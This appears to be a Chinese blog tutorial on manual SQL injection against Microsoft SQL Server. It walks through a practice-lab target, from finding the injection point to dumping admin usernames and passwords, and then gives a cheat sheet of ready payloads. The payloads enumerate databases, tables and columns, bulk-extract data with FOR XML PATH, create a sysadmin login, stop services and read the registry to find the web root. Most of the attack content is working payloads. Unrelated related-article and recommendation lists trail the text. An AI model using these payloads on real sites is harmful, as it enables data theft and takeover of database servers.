对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC。SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。

手工注入测试

这里我用墨者学院的靶场作为例子,来详细介绍一下每一步命令的原理。

第一步:查找注入点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=1 页面返回正常说明存在注入点。

这里和mysql一样的判断方式

第二步:查找列数 http://219.153.49.228:40603/new_list.asp?id=2 order by 1成功 ;order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败 说明列数位于 3-4之间。

第三步:查找回显点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=2 union all select null,null,null,null;挨个替换null 发现 select null,2,null,null 页面出现回显。

这里的1=2是将前面的查询结果变为假把位置腾出来显示我们后面进行查询的结果。union select不能用,就用union all select代替,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。区别就是union all查询的结果是允许重复的。mssql里不能用数字作为占位符,只能用null

第四步:查看数据库版本?id=2 and 1=2 union all select 1,(SERVERPROPERTY('edition')),'3',4;或者?id=2 and 1=2 union all select 1,(@@version),'3',4。查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 找到数据库名称。

提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据库。(这里加'号是为了让数据类型一致)。SQL Server Express Edition(仅适用于bai 32 位)——学习版SQL Server Express 数据库平台基于 SQL Server 2005。





第五步:查找数据库表名称:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4 提示: xtype='U' 为 用户表

Top关键字:由于MSSQL中不存在limit,那么想要输出一条数据直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件。关于dbo.的意思参考,在MSSQL中每个库都有一个系统自带表-->sysobjects此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表

第六步:查找列名称:?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。

col_name(object_id('manage'),1)这句将指定表的指定列的列名显示出来(col_name是系统函数,用法col_name(obj_id,col_id))

第七步:查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 获取用户名;?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 获取密码





第八步:MD5 解密

其他常用注入命令

确定数据库类型:

http://www.xxx.xxx/xxx.asp?id=6 and user>0

http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 //正常返回就是mssql数据库

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

and exists(select * from tableName) //判断某表是否存在..tableName为表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

获取当前数据库

and db_name()>0

获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top 1 * from 指定数据库..指定表名 where FOR XML PATH(''))--

一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--

添加和删除一个SA权限的用户test:(需要SA权限)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某个服务。 (需要SA权限)

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

暴网站目录

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

mssql 手工注入流程小结的更多相关文章

  1. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  2. mssql手工注入及绕过术

      报错注入: - 例子:http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 [1]首先爆版本:http://www.kfgtfcj.xxx.cn ...

  3. MSSQL手工注入 报错注入方法

    例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show. ...

  4. SQLite手工注入方法小结

    SQLite 官网下载:www.sqlite.org/download.html sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/in ...

  5. mssql手工注入2

    --+ 先说一些函数的说明: substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) ...

  6. mssql手工注入

    判断注入点: 1.数字型 http://www.targer.com/article.aspx?id=1 http://www.targer.com/article.aspx?id=1' http:/ ...

  7. mssql手工注入1

    强制字符转成数字, 所以报错, 能获得数据 查版本号: http: -- 查数据库版本: http: -- 查当前数据库用户(如果看到dbo 那么多半当前数据库的用户是dba权限): http: -- ...

  8. 手工注入——sql server (mssql)注入实战和分析

    前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...

  9. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

随机推荐

  1. Java实现冗余路径Redundant Paths

    Description In order to get from one of the F (1 <= F <= 5,000) grazing fields (which are numb ...

  2. linux下使用tcpdump抓包分析tcp的三次握手

    首先贴上tcp 三次握手的原理图服务器开启ftp服务并执行tcpdump抓包服务器:192.168.3.14 ftp服务客户端:192.168.3.100 服务器执行以下命令,客户端访问服务器ftp: ...

  3. Volley框架学习资料汇总

    Android Volley完全解析(一),初识Volley的基本用法(http://blog.csdn.net/guolin_blog/article/details/17482095/)

  4. Koa源码解析,带你实现一个迷你版的Koa

    前言 本文是我在阅读 Koa 源码后,并实现迷你版 Koa 的过程.如果你使用过 Koa 但不知道内部的原理,我想这篇文章应该能够帮助到你,实现一个迷你版的 Koa 不会很难. 本文会循序渐进的解析内 ...

  5. 使用PyQtGraph绘制图形(2)

    采用addplot()方法将多个图形添加到一个窗口. 首先利用numpy模块创建两个随机数组,用来作为图形绘制的数据: import pyqtgraph as pg import numpy as n ...

  6. 总结:修改相关postgres用户密码

    1.修改linux系统postgres用户的密码 PostgreSQL会创建一个默认的linux用户postgres,修改该用户密码的方法如下: 步骤一:删除用户postgres的密码 sudo  p ...

  7. 第一个SpringMVC程序 (配置版)

    通过配置版本的MVC程序,可以了解到MVC的底层原理,实际开发我们用的是注解版的! 1.新建一个普通Maven的项目,然后添加web的支持 2.导入相关的SpringMVC的依赖 3.配置web.xm ...

  8. 【转载】自动化魔方求解器的Bug——选择合适的色彩空间

    目录 1. 准备工作-- 2. RGB颜色空间 3. LAB色彩空间 4. YCrCb色彩空间 5. HSV色彩空间 Color spaces in OpenCV (C++ / Python) 几天前 ...

  9. 【LGR-072】回首过去

    题目   点这里看题目. 分析   可以发现,符合条件的分数约分后,其分母必须为\(2^m5^k\).因此,原分数一定可以表示为: \[\frac{XY}{2^m5^kX} \]   其中\((10, ...

  10. (九)maven-compiler-plugin 插件详解

    <plugin> <!-- 指定maven编译的jdk版本,如果不指定,maven3默认用jdk 1.5 maven2默认用jdk1.3 --> <groupId> ...